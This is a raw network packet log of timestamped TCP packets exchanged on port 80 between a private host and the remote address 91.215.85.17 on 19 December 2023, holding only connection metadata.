Dec 19, 2023 03:22:28.924319983 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.924319983 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.924523115 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:28.925184011 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.122886896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.123068094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.123081923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.123128891 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.123428106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.123821974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.123888969 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.123917103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.123950958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.123972893 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.124003887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.124003887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.124062061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.124150991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.124191999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.124244928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.124267101 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.124351978 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.124521971 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.124680042 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.124738932 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.124758005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.124824047 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.124890089 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.124898911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.125024080 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.125113010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.125159025 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.125189066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.125313044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.125353098 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.125381947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.125420094 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.125442028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.125510931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.125555992 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.125617981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.125695944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.125761986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.125792980 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.125842094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.125920057 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.125972986 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.125976086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.126039982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.126082897 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.126115084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.126182079 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.126209021 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.126276970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.126319885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.126351118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.126426935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.126471996 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.126527071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.126581907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.126662970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.126705885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.126751900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.126812935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.126893997 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.126928091 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.126982927 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.127027035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.127113104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.127160072 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.127218008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.127284050 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.127326012 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.127348900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.127412081 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.127532959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.127574921 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.127582073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.127645016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.127688885 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.127712011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.127754927 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.127815008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.127887964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.127932072 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.127943039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.128024101 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.128084898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.128101110 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.128158092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.128246069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.128297091 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.128304005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.128377914 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.128421068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.128487110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.128554106 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.128598928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.128674984 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.128712893 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.128755093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.128868103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.128915071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.128983021 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.128987074 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.129071951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.129137039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.129163980 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.129174948 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.129205942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.129302979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.129399061 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.129415035 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.129458904 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.129498005 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.129524946 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.129590034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.129651070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.129698992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.129702091 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.129757881 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.129808903 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.129820108 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.129878998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.129888058 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.129930973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.130002022 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.130100965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.130140066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.130198956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.130218029 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.130260944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.130309105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.130347013 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.130402088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.130464077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.130501032 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.130537033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.130537033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.130589008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.130670071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.130723000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.130731106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.130784035 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.130835056 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.130863905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.130918026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.130986929 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.131036997 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.131138086 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.131236076 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.131283998 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.131305933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.131359100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.131376028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.131406069 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.131418943 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.131436110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.131486893 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.131540060 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.131603003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.131686926 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.131758928 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.131803989 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.131854057 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.131917953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.131979942 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.132060051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.132128954 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.132145882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.132178068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.132241964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.132246971 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.132299900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.132376909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.132441998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.132468939 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.132499933 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.132512093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.132632017 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.132766962 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.132814884 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.132838964 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.132946968 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.132986069 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.132997990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.133018970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.133018970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.133044004 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.133075953 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.133110046 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.133138895 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.133227110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.133280993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.133301020 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.133337975 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.133347034 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.133445024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.133481979 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.133483887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.133529902 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.133574009 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.133629084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.133692026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.133761883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.133810043 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.133817911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.133891106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.133928061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.133953094 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.133982897 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134002924 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.134068012 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134150982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134166956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134186983 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.134210110 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.134251118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134325027 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134336948 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134381056 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.134381056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134449959 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134490967 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.134519100 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134577990 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134597063 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.134700060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134746075 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.134749889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134808064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134860992 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134871960 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.134907961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134949923 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.134994984 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.135063887 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.135077000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.135123968 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.135138988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.135170937 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.135190010 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.135302067 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.135368109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.135391951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.135461092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.135504961 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.135576963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.135768890 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.135823011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.135864019 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.135891914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.135950089 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.135993004 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.136042118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.136079073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.136085033 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.136218071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.136269093 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.136327028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.136379957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.136430979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.136451006 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.136483908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.136514902 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.136564970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.136570930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.136640072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.136682987 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.136790991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.136825085 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.136845112 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.136873007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.136936903 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.136945009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137028933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137099981 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.137099981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137167931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137214899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137260914 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137267113 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.137321949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137360096 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.137408972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137451887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.137502909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137584925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137620926 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137636900 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.137661934 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137707949 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.137712002 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137753963 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137849092 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137896061 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.137923956 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137978077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.137989044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.138015032 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.138031960 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.138067007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.138087988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.138173103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.138247013 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.138252974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.138314009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.138353109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.138456106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.138489008 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.138530970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.138642073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.138686895 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.138715982 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.138787031 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.138830900 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.138856888 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.138916016 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.138995886 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.139045954 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.139081001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.139081001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.139101028 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.139156103 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.139216900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.139257908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.139271975 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.139316082 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.139352083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.139369965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.139415026 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.139442921 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.139494896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.139584064 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.139585972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.139650106 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:29.139651060 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.139703035 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.139703035 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:29.139722109 CET	80	49738	91.215.85.17	192.168.2.4
